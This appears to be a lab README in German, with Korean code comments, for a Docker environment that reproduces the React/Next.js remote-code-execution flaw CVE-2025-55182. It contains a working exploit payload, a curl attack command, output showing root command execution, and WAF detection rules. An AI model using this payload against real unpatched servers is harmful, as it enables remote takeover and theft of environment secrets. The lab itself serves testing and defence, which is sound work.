CVE-2025-55182 (React2Shell) Test

⚠️ Warnung: Diese Testumgebung enthält eine tatsächlich funktionierende Schwachstelle zur Remote-Code-Ausführung (RCE).

📋 Inhaltsverzeichnis

• Übersicht
• Schwachstellen-Informationen
• Schnellstart
• Reale Angriffsdemonstration
• Testumgebung
• WAF-Abwehrregeln
• Dateistruktur
• Referenzen
• Rechtlicher Hinweis

---

Übersicht

CVE-2025-55182 (React2Shell) ist eine Container-Testumgebung zum Testen dieser Schwachstelle.

Hauptfunktionen

• ✅ Reproduktion der tatsächlichen Schwachstelle – React 19.1.0 / Next.js 15.1.0-Umgebung
• ✅ Erfolgreicher RCE-Angriff – Bestätigte Ausführung echter Befehle
• ✅ WAF-Abwehrtest – NGINX- und Apache-ModSecurity-Regeln konfiguriert
• ✅ Patch-Versionsvergleich – Test von anfälliger Version vs. gepatchter Version
• ✅ Vollständige Docker-Umgebung – Isolierte Container-Umgebung

Angriffsergebnis

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

---

Schwachstellen-Informationen

CVE-2025-55182 (React2Shell)

CVSS-Score: 10.0 (CRITICAL)
Auswirkung: Remote-Code-Ausführung (RCE)
Authentifizierung erforderlich: Nein
Angriffsvektor: Netzwerk

Anfällige Versionen

• React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Gepatchte Versionen

• React: 19.1.2+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Angriffsprinzip

1. Prototype Pollution – Prototyp-Verschmutzung über $1:__proto__:then
2. Function-Constructor-Zugriff – Zugriff über Blob-Deserialisierung ($B-Präfix)
3. Beliebige Codeausführung – Erstellung von Funktionen mit vom Angreifer kontrolliertem Code
4. Ausführung von Systembefehlen – RCE über child_process

// 공격 페이로드 구조
{
  "then": "$1:__proto__:then",           // Object.prototype.then 오염
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "악성_코드",               // 실행할 코드
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructor 접근
    }
  }
}

---

Schnellstart

Voraussetzungen

• Docker Desktop
• Node.js 20+ (für lokale Tests, optional)
• Mindestens 4 GB RAM
• Mindestens 2 GB freier Speicherplatz

Schritt 1: Umgebung starten

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Schritt 2: Status prüfen

.\run-tests.ps1 status

Warten Sie, bis alle Container den Status healthy erreicht haben (dauert ca. 1–2 Minuten).

Schritt 3: Angriff ausführen

Windows (PowerShell):

# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1

# 방법 2: Node.js 직접 실행
node tests\exploit-working.js

Schritt 4: Ergebnis prüfen

Sie können die Ergebnisse der Befehlsausführung in den Serverprotokollen überprüfen:

docker compose logs vulnerable-app --tail=20

---

Angriffsdemonstration

Automatisierte Angriffsskripte

exploit-working.js ⭐ Empfohlen

Windows:

# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1

# 또는 Node.js 직접 실행
node tests\exploit-working.js

Funktionsumfang:

• ✅ Ausführung beliebiger Shell-Befehle
• ✅ Erfassung der Befehlsausgabe in den Serverprotokollen
• ✅ Automatischer Test mehrerer Befehle
• ✅ Detaillierter Schwachstellenbericht

Getestete Befehle:

• whoami – aktueller Benutzer (root)
• hostname – Container-Hostname
• pwd – Arbeitsverzeichnis (/app)
• id – vollständige Benutzerinformationen
• uname -a – Systeminformationen
• node --version – Node.js-Version

Manueller Angriff

Direkter Angriff mit curl

# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 공격 전송
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Benutzerdefinierte Befehle ausführen

Sie können das Angriffsskript anpassen, um eigene Befehle auszuführen:

// exploit-working.js 파일에서:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
  { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]

---

Testumgebung

Docker-Container

Port	Dienst	React-Version	Zweck	WAF-Status
3000	vulnerable-app	19.1.0	Anfällig – CVE-2025-55182-Test	❌ Kein Schutz
3001	patched-app	19.1.2	Sicher – Patch-Wirkung verifizieren	✅ Gepatcht
8080	nginx → vulnerable	19.1.0	WAF-Test (NGINX)	⚠️ Eingeschränkt (Body wird nicht geprüft)
8081	apache → vulnerable	19.1.0	WAF-Test (ModSecurity)	⚠️ Eingeschränkt (405-Antwort)
8082	nginx → patched	19.1.2	Doppelschutz-Test	✅ Gepatcht

Anwendungsumgebung

• Framework: Next.js 15.1.0 (App Router)
• React-Version: 19.1.0 (anfällig)
• Node.js: 20.19.6

Testszenarien

Szenario 1: Angriff auf die anfällige Version

# 작동하는 공격 실행
node tests/exploit-working.js

# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등

Szenario 2: Test der gepatchten Version

Windows (PowerShell):

# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001

Erwartetes Ergebnis: Der Angriff schlägt fehl (React 19.1.2 blockiert den Angriff)

Szenario 3: WAF-Blockierungstest

Windows (PowerShell):

# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080

Erwartetes Ergebnis: Blockierung durch die WAF-Regeln

---

WAF-Abwehrregeln

NGINX-Abwehrregeln

Ort: nginx/nginx.conf

Erkennungsmuster:

1. Prototype Pollution – __proto__, constructor:constructor
2. Flight-Protocol-Missbrauch – $X:__proto__, $B-Referenzen
3. Gadget Chain – child_process, execSync, require()
4. URL-Encoding-Umgehung – %5f%5fproto%5f%5f
5. Verdächtige Header – Next-Action: #constructor

Blockierungsverhalten:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache-ModSecurity-Regeln

Ort: apache/modsecurity-rules.conf

Regel-ID-Bereich: 100001-100017

Wichtigste Regeln:

• 100001: __proto__-Erkennung
• 100002: Zugriff auf Constructor-Chain
• 100003-100004: Flight-Protocol-Missbrauch
• 100006-100007: Gadget-Chain-Muster
• 100008-100011: RCE-Versuche (child_process, exec, spawn, require)
• 100015: Verdächtiger Next-Action-Header
• 100017: Blockierung basierend auf Anomalie-Score

WAF-Test

# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 예상 응답: HTTP 403